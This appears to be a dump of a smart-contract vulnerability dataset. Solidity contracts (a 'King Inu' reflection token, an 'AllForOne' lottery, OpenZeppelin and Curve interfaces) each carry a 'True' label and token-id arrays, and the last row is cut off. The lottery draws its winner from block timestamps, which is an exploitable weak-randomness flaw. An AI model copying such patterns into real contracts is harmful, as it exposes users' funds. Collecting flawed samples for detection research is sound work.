function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract KingInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10 ** 6 * 10 ** 9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'King Inu';
string private _symbol = '$KINU';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 100000000 * 10 ** 6 * 10 ** 9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(100);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(1);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5757,
1011,
2570,
1008,
1013,
1013,
1013,
100,
1013,
1013,
1013,
1013,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
20348,
2278,
1025,
1025,
1025,
1024,
7929,
2860,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
2213,
1013,
1013,
1013,
1013,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
2213,
2243,
1025,
1005,
18856,
2278,
1010,
1012,
1012,
6448,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
1013,
1013,
1013,
1013,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
26876,
1012,
1012,
1040,
19658,
19658,
1005,
27166,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
1013,
1013,
1013,
1013,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
2078,
2692,
20348,
19658,
2860,
7382,
7382,
2243,
1025,
1012,
1024,
1024,
1024,
1005,
1012,
6448,
7382,
2213,
2860,
2595,
11636,
2595,
11636,
2860,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
2213,
1013,
1013,
1013,
1013,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
26291,
1010,
1012,
1012,
1012,
1012,
1012,
1024,
2463,
7382,
12273,
1012,
1005,
1005,
1012,
1012,
1010,
1014,
7382,
22984,
2080,
1012,
1012,
1012,
1012,
1012,
1012,
23060,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
1013,
1013,
1013,
1013,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
2080,
1012,
1024,
1051,
2692,
2595,
1005,
1024,
1060,
22984,
2278,
1012,
1005,
1060,
2692,
2243,
2595,
2080,
1005,
1010,
1014,
2860,
21724,
1012,
1051,
8889,
2080,
1012,
27593,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
2213,
1013,
1013,
1013,
1013,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
2692,
1005,
1025,
22038,
2080,
1012,
1024,
1060,
2243,
1025,
1010,
1047,
2243,
2692,
2243,
20348,
2094,
1025,
1012,
6448,
2080,
1012,
1039,
20348,
2278,
1012,
1012,
1040,
2860,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
2213,
1013,
1013,
1013,
1013,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
2213,
2860,
2860,
7382,
7382,
7382,
7382,
2213,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.21;
// The Original All For 1 - www.allfor1.io
// https://www.twitter.com/allfor1_io
contract AllForOne {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
mapping (address => uint) private playerKey;
mapping (address => uint) public playerCount;
mapping (address => uint) public currentGame;
mapping (address => uint) public currentPlayersRequired;
mapping (address => uint) private playerRegistrationStatus;
mapping (address => uint) private playerNumber;
mapping (uint => address) private numberToAddress;
uint public currentBet;
address public contractAddress;
address public owner;
address public lastWinner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
modifier noPendingBets {
require(playerCount[contractAddress] == 0);
_;
}
function changeBet(uint _newBet) public noPendingBets onlyOwner {
currentBet = _newBet;
}
function AllForOne() {
contractAddress = this;
currentGame[contractAddress]++;
currentPlayersRequired[contractAddress] = 100;
owner = msg.sender;
currentBet = .005 ether;
lastWinner = msg.sender;
}
function canBet() view public returns (uint, uint, address) {
uint _status = 0;
uint _playerCount = playerCount[contractAddress];
address _lastWinner = lastWinner;
if (playerRegistrationStatus[msg.sender] < currentGame[contractAddress]) {
_status = 1;
}
return (_status, _playerCount, _lastWinner);
}
modifier betCondition(uint _input) {
require (playerRegistrationStatus[msg.sender] < currentGame[contractAddress]);
require (playerCount[contractAddress] < 100);
require (msg.value == currentBet);
require (_input > 0 && _input != 0);
_;
}
function placeBet (uint _input) payable betCondition(_input) {
playerNumber[msg.sender] = 0;
playerCount[contractAddress]++;
playerRegistrationStatus[msg.sender] = currentGame[contractAddress];
uint _playerKey = uint(keccak256(_input + now)) / now;
playerKey[contractAddress] += _playerKey;
playerNumber[msg.sender] = playerCount[contractAddress];
numberToAddress[playerNumber[msg.sender]] = msg.sender;
if (playerCount[contractAddress] == currentPlayersRequired[contractAddress]) {
currentGame[contractAddress]++;
uint _winningNumber = uint(keccak256(now + playerKey[contractAddress])) % 100 + 1;
address _winningAddress = numberToAddress[_winningNumber];
_winningAddress.transfer(currentBet * 99);
owner.transfer(currentBet * 1);
lastWinner = _winningAddress;
playerKey[contractAddress] = 0;
playerCount[contractAddress] = 0;
}
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2538,
1025,
1013,
1013,
1996,
2434,
2035,
2005,
1015,
1011,
7479,
1012,
2035,
29278,
2487,
1012,
22834,
1013,
1013,
16770,
1024,
1013,
1013,
7479,
1012,
10474,
1012,
4012,
1013,
2035,
29278,
2487,
1035,
22834,
3206,
2035,
29278,
5643,
1063,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
1007,
2797,
2447,
14839,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
1007,
2270,
2447,
3597,
16671,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
1007,
2270,
2783,
16650,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
1007,
2270,
2783,
13068,
2545,
2890,
15549,
5596,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
1007,
2797,
2447,
2890,
24063,
28893,
29336,
2271,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
1007,
2797,
2447,
19172,
5677,
1025,
12375,
1006,
21318,
3372,
1027,
1028,
4769,
1007,
2797,
2193,
3406,
4215,
16200,
4757,
1025,
21318,
3372,
2270,
2783,
20915,
1025,
4769,
2270,
3206,
4215,
16200,
4757,
1025,
4769,
2270,
3954,
1025,
4769,
2270,
2197,
10105,
3678,
1025,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
2047,
12384,
2121,
1007,
2270,
2069,
12384,
2121,
1063,
5478,
1006,
2047,
12384,
2121,
999,
1027,
4769,
1006,
1014,
1007,
1007,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
3954,
1010,
2047,
12384,
2121,
1007,
1025,
3954,
1027,
2047,
12384,
2121,
1025,
1065,
16913,
18095,
16780,
15683,
20915,
2015,
1063,
5478,
1006,
2447,
3597,
16671,
1031,
3206,
4215,
16200,
4757,
1033,
1027,
1027,
1014,
1007,
1025,
1035,
1025,
1065,
3853,
2689,
20915,
1006,
21318,
3372,
1035,
2047,
20915,
1007,
2270,
16780,
15683,
20915,
2015,
2069,
12384,
2121,
1063,
2783,
20915,
1027,
1035,
2047,
20915,
1025,
1065,
3853,
2035,
29278,
5643,
1006,
1007,
1063,
3206,
4215,
16200,
4757,
1027,
2023,
1025,
2783,
16650,
1031,
3206,
4215,
16200,
4757,
1033,
1009,
1009,
1025,
2783,
13068,
2545,
2890,
15549,
5596,
1031,
3206,
4215,
16200,
4757,
1033,
1027,
2531,
1025,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
2783,
20915,
1027,
1012,
4002,
2629,
28855,
1025,
2197,
10105,
3678,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
2064,
20915,
1006,
1007,
3193,
2270,
5651,
1006,
21318,
3372,
1010,
21318,
3372,
1010,
4769,
1007,
1063,
21318,
3372,
1035,
3570,
1027,
1014,
1025,
21318,
3372,
1035,
2447,
3597,
16671,
1027,
2447,
3597,
16671,
1031,
3206,
4215,
16200,
4757,
1033,
1025,
4769,
1035,
2197,
10105,
3678,
1027,
2197,
10105,
3678,
1025,
2065,
1006,
2447,
2890,
24063,
28893,
29336,
2271,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1026,
2783,
16650,
1031,
3206,
4215,
16200,
4757,
1033,
1007,
1063,
1035,
3570,
1027,
1015,
1025,
1065,
2709,
1006,
1035,
3570,
1010,
1035,
2447,
3597,
16671,
1010,
1035,
2197,
10105,
3678,
1007,
1025,
1065,
16913,
18095,
6655,
8663,
20562,
1006,
21318,
3372,
1035,
7953,
1007,
1063,
5478,
1006,
2447,
2890,
24063,
28893,
29336,
2271,
1031,
5796,
2290,
1012,
4604,
2121,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2020-12-27
*/
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/utils/Address.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: original_contracts/lib/curve/ICurve.sol
pragma solidity 0.7.5;
interface IPool {
function underlying_coins(int128 index) external view returns(address);
function coins(int128 index) external view returns(address);
}
interface IPoolV3 {
function underlying_coins(uint256 index) external view returns(address);
function coins(uint256 index) external view returns(address);
}
interface ICurvePool {
function exchange_underlying(int128 i, int128 j, uint256 dx, uint256 minDy) external;
function exchange(int128 i, int128 j, uint256 dx, uint256 minDy) external;
}
interface ICurveEthPool {
function exchange(int128 i, int128 j, uint256 dx, uint256 minDy) external payable;
}
interface ICompoundPool {
function exchange_underlying(int128 i, int128 j, uint256 dx, uint256 minDy, uint256 deadline) external;
